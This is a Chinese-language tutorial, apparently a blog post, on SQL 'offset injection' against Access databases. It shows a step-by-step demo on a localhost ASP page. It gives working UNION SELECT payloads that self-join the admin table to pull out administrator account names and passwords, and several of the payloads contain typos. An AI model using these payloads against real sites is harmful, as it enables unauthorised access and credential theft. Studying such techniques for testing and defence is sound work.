Access数据库偏移注入
前言
本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额。。。还是算了吧,没有太多的时间,之后在网上搜索了一些“偏移注入”看看其他人是否有写这个方面的资料,但是非常少,不过还是找到了几个,下面笔者就借用其他技术大佬的一些图片来介绍Access数据库的偏移注入,期间使用的图片不是笔者本人自己截图的,但是所有的思路以及渗透测试的流程是笔者自己对于Access数据库偏移注入的理解,此处只是做一个说明哈!希望大家学习思路!
认识偏移注入
偏移注入的原理:
借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!
偏移注入的用途:
解决知道Access数据库中知道表名,但是得不到字段的sql注入困境。
偏移注入的特点:
A:成功与否看技巧与运气,不能保证100%成功。
B:无需管理员账号密码字段,直接爆账号密码
偏移注入的利用条件:
A:已知管理表名
B:已知任意字段(一个或多个会增加机率,最常见的就是id)
影响偏移注入成功率的因素
A:管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
B:当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
C:已知的字段数越多越好(id一般存在)
偏移注入的流程:
1、 判断字段数
2、 判断表名
3、 开始偏移注入
偏移注入的实例演示
注入点:
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1137
注入点信息:
字段数:22
管理表名:admin
先直接联合查询爆显位
3和15是显示位,但是跑不出字段,下面就可以开始偏移注入了。
流程如下
先判断管理表内存在的字段数,用到如下语句:
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
我们利用*代替admin表内存在的字段,由于是22个字段数,需要逐步测试,直到返回正常为止。
目前语句访问结果如图所示
下面继续
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin
这样的话,应该很好理解了。我这里到了16的时候返回正常,如下所示:
如上图可知,字段数列到16的时候,返回正常了,那么本来是22个字段。
*号=字段数(这里是22)-列出的字段数(这里是16)
所以*=22-16
也就是说,admin表下有6个字段。
【开始偏移注入】
语句如下;
union select 1,2,3,4,5,6,7,8,9,10,* from (adminas a inner join admin as b ona.id=b.id)
解释:
union //联合查询语法,定义连后面的语句一起执行
select //查询
1,2,3,4,5,6,7,8,9,10, //这里理解为剩下的字段数就可以
from //从哪里开始
(admin as a inner join admin as b on a.id=b.id)
//这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)
【偏移注入的基本公式】
字段数=order by 出的字段数-*号的字段数x2
因为这里一共是22个字段,而*号代表的admin表字段占6个,6x2=12 22-12=10
这就是为什么字段数是10的原因。访问一下如图所示:
这里爆出了admin表管理员创建日期,没有我们要的账号密码怎么办?
没关系,这里就要说到隐性显位了,主页面只有两个显位3和15 那我们我们可以在页面源代码看一下。如图5↓
可以看到
1.还有两个隐性显位,第一个是 9,第二个已经爆出了管理员密码
2.下面的红框和页面信息一致,只是它有回显。
这时候已经得到了密码。还差账号了。偏移中办法很多。
思路:我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。
在字段后面插个a.id,b.id,,这里的a和b可以理解为字段(第a b个管理表存在的所有字段),id还是管理表内存在的字段名
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin asa inner join admin as b on a.id=b.id)
其实就在上面的语句基础上插了个a.id,b.id,
其实也可以这样来处理
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from(admin as a inner join admin as b on a.id=b.id)
只保留a.id, 也实现了打乱信息组合,并且执行效果一样
下面访问一下看看结果:
成功打乱他的组合,同一个显位返回不同的信息了,254是admin表内某个字段的内容。
我们看看网页源代码里的隐性显位爆出了什么,如下所示:
这样就爆出了管理员账号。
经过两次的偏移,成功得到账号和密码。
在字段多的情况下,多级偏移会有意想不到的效果。
刚才只到了一级,第二级的话就是字段数再去掉admin表存在的字段数。
一级偏移语句
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id)
inner join admin as c on a.id=c.id)
我把字段去掉了6个,增加了一个c.id 用来代替字段并且重新打乱组合。
重新访问一下看看如图
可以看到,页面返回和前面没有任何变化。所以主要还是看隐性显位,如图
在隐性显位一次爆出了管理账号和密码。
【拓展】
x.id //id可以修改为任意表内存在的字段名,而且会打乱重新回显
所以说管理表内存在的字段数越少越好、当前注入点脚本内查询的表内字段数越多越好、得到的字段数越多越好
偏移注入可以很大程度上解决猜不到字段的问题。